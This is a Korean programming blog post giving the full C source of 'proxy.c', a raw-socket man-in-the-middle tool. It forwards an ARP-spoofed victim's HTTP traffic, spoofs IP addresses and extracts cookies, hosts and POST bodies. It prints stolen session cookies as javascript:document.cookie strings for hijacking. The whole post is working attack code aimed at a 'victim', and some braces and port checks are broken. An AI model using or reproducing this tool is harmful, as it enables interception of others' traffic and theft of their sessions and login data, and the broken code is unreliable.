본문 바로가기

Programming

proxy.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>

#include <netinet/in.h>


#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/udp.h>

 

#define TYPE_IP            0x0008 

#define BUFSIZE            40960 

#define EOS 0x0D


// Set-Cookie: JSESSIONID=12341234123412341234; Domain=.a.b.c; Path=/;


char* g_pattern = "Cookie: ";

int g_state=0;

int g_index=0;

char buffer[1024];


char* g_pattern2 = "Host: ";

int g_state2=0;

int g_index2=0;

char buffer2[1024];


char* g_pattern3 = "POST ";

int g_state3=0;

int g_index3=0;

char buffer3[1024];


int Lexer(const char* in, int len){


    int i=0;

    for(i=0; i<len; i++){

        

        // get pattern

        if( g_state == -1 ){

            buffer[ g_index++ ] = in[i];

            // end of sequence

            if( in[i] == EOS ){

                buffer[ g_index-1 ] = 0;

                g_index=0;

                g_state=0;

                // output data!

                printf("javascript:alert(document.cookie='%s')\n", buffer);

            }

        }

        else{

            // learning state

            if( g_pattern[ g_state ] == in[i] ){

                g_state++;

            }

            else

                g_state=0;


            if( g_state == strlen(g_pattern) ){

                g_state=-1;    // accepting state.

            }

        }


        // get pattern

        if( g_state2 == -1 ){

            buffer2[ g_index2++ ] = in[i];

            // end of sequence

            if( in[i] == EOS ){

                buffer2[ g_index2 ] = 0;

                g_index2=0;

                g_state2=0;

                // output data!

                printf("Host : %s\n", buffer2);

            }

        }

        else{

            // learning state

            if( g_pattern2[ g_state2 ] == in[i] ){

                g_state2++;

            }

            else

                g_state2=0;


            if( g_state2 == strlen(g_pattern2) ){

                g_state2=-1;    // accepting state.

            }

        }


        // get pattern

        if( g_state3 == -1 ){

            buffer3[ g_index3++ ] = in[i];

            // output data!

            if(i+1==len){

                printf("POST %s\n", buffer3);

                g_index3=0;

                g_state3=0;

            }

        }

        else{

            // learning state

            if( g_pattern3[ g_state3 ] == in[i] ){

                g_state3++;

            }

            else

                g_state3=0;


            if( g_state3 == strlen(g_pattern3) ){

                g_state3=-1;    // accepting state.

            }

        }


    }

}


typedef struct sockaddr_in SOCKADDR_IN;

typedef struct sockaddr SOCKADDR;


#pragma pack(1)

struct pseudohdr{

    unsigned int sip;

    unsigned int dip;

    unsigned short protocol;

    unsigned short len;

    unsigned char payload[2000];

};

#pragma pack()

 

// globals. 

unsigned char buf[BUFSIZE]; 

unsigned char gateway[6]; 

unsigned char local[6]; 

unsigned char victim[6]; 

int sock2;        // layer 2 socket

int sd_raw;    // layer 3 socket 

SOCKADDR_IN addr_in;    // in address 

SOCKADDR_IN addr_out;    // out address 

 

void dump(unsigned char* p, int len){

    printf("dump>"); 

    int i; 

    for(i=0; i<len; i++){ 

        printf( "%02X ", (unsigned int)p[i] ); 

    } 

    printf("<dump\n"); 


// set MAC Address from string 

int SetHWAddr(unsigned char* dest, char* src){ 

    int i; 

    unsigned int tmp; 

    for(i=0; i<6; i++){ 

        sscanf( (src + i*3), "%02X", &tmp ); 

        dest[i] = (unsigned char)tmp; 

    } 

    return 0; 

 

// print MAC Address to string 

void PrintHWAddr(unsigned char* p){ 

    int i; 

    for(i=0; i<6; i++){ 

        printf( "%02X", (unsigned int)p[i] ); 

        if(i!=5) printf(":"); 

    } 

    printf("\n"); 

}


unsigned short in_cksum(u_short *addr, int len){


    int         sum=0;        // 총 합계.

    int         nleft=len;    // 인자로 받은 len.

    u_short     *w=addr;      // 인자로 받은 addr의 주소를 저장.

    u_short     answer=0;     // 최종적으로 리턴되는 값.


 

    // nleft만큼 sum에 *w의 값을 더함. 

    while (nleft > 1){

        sum += *w++;

        nleft -= 2;

    }


    // nleft가 홀수라서 값이 남을 경우 추가로 더해줌.

    if (nleft == 1){

        *(u_char *)(&answer) = *(u_char *)w ;

        sum += answer;

    }


    sum = (sum >> 16) + (sum & 0xffff);  // 상위 16비트와 하위 16비트를 더함.

    sum += (sum >> 16);                  // carry bit 값을 더함.

    answer = ~sum;                       // 값을 반전 시킴.


    return(answer);                      // 리턴.


}

 

struct pseudohdr pshdr;

 

int main(int argc, char* argv[]){ 

 

    if(argc < 6){ 

        printf("usage : ./proxy [interface] [gateway_mac] [victim_mac] [local_mac] [victim_ip] [local_ip]\n"); 

        return 0; 

    } 


    sock2 = socket(AF_INET, SOCK_PACKET, htons(0x0003));

    if(sock2!=-1) printf("L2 socket ready.\n");


    struct sockaddr myaddr;

    memset(&myaddr, 0, sizeof(myaddr));

    myaddr.sa_family = AF_INET;

    strcpy(myaddr.sa_data, argv[1]);

    int r = bind(sock2, &myaddr, sizeof(myaddr));

    if(r==0) printf("L2 socket bindded to interface %s\n", argv[1]);


    SetHWAddr(gateway, argv[2]); 

    printf("setting gateway mac... "); 

    PrintHWAddr(gateway); 

 

    SetHWAddr(victim, argv[3]); 

    printf("setting victim mac... "); 

    PrintHWAddr(victim); 


    SetHWAddr(local, argv[4]); 

    printf("setting local mac... "); 

    PrintHWAddr(local); 


    struct tcphdr* tcph = (struct tcphdr*)&buf[34];

    struct udphdr* udph = (struct udphdr*)&buf[34];

    struct iphdr* iph = (struct iphdr*)&buf[14];


    printf("Start Forwarding...\n"); 

    // start forwarding

    while(1){

        r = read(sock2, buf, BUFSIZE);


        // if it is IP frame

        if(buf[12]==0x08 && buf[13]==0x00){


            // if src is victim and dst is gateway

            if( !memcmp(&buf[6], victim, 6) && !memcmp(&buf[0], local, 6) ){


//printf("intercepting connection v -> g\n");

                memcpy(buf, gateway, 6);

                memcpy(buf+6, local, 6);


// filter HTTP packet.

if(iph->protocol==IPPROTO_TCP && (tcph->dest==80 || tcph->dest==8080) ){


Lexer(buf, r);


       iph->saddr = inet_addr(argv[6]);    // spoof ip address!!

       iph->check = 0;

       iph->check = in_cksum((unsigned short*)iph, 20);


       switch(iph->protocol){            

           case IPPROTO_TCP:    // 0x06

               tcph->check = (unsigned short)0x00;

               memset(&pshdr, 0, sizeof(pshdr));

               pshdr.sip = iph->saddr;

               pshdr.dip = iph->daddr;

               pshdr.protocol = htons(iph->protocol);

               pshdr.len =  htons(  ntohs(iph->tot_len)-20  );

               memcpy( pshdr.payload, &buf[34], r ); // make tcp pseudo header

               tcph->check = in_cksum( (unsigned short*)&pshdr, ntohs(iph->tot_len)-8 );

               break;

           case IPPROTO_UDP:

               udph->check = 0;

               break;        

           default:

               break;            

       }

}


                r = sendto(sock2, buf, r, 0, &myaddr, sizeof(myaddr));


            }

            // if src is gateway and dst is victim

            else if( /*!memcmp(&buf[6], gateway, 6) &&*/ !memcmp(&buf[0], local, 6) ){

//printf("intercepting connection g -> v\n");

                memcpy(buf, victim, 6);

                memcpy(buf+6, local, 6);


// filter HTTP packet.

if(iph->protocol==IPPROTO_TCP && (tcph->source==80 || tcph->source==8080) ){


Lexer(buf, r);


       iph->daddr = inet_addr(argv[5]);    // restore ip address!!

       iph->check = 0;

       iph->check = in_cksum((unsigned short*)iph, 20);


       switch(iph->protocol){            

           case IPPROTO_TCP:    // 0x06

               tcph->check = (unsigned short)0x00;

               memset(&pshdr, 0, sizeof(pshdr));

               pshdr.sip = iph->saddr;

               pshdr.dip = iph->daddr;

               pshdr.protocol = htons(iph->protocol);

               pshdr.len =  htons(  ntohs(iph->tot_len)-20  );

               memcpy( pshdr.payload, &buf[34], r ); // make tcp pseudo header

               tcph->check = in_cksum( (unsigned short*)&pshdr, ntohs(iph->tot_len)-8 );

               break;

           case IPPROTO_UDP:

               udph->check = 0;

               break;        

           default:

               break;            

       }

}

                

r = sendto(sock2, buf, r, 0, &myaddr, sizeof(myaddr));

                

            }

            else{

            }

        }

    }


    close(sock2);

    return 0;

}



'Programming' 카테고리의 다른 글

fork and exec.c  (0) 2013.03.19
sniffer.c  (0) 2013.03.19
arpreply.c  (0) 2013.03.19
print segment registers.c  (0) 2013.03.19
linux thread.c  (0) 2013.03.19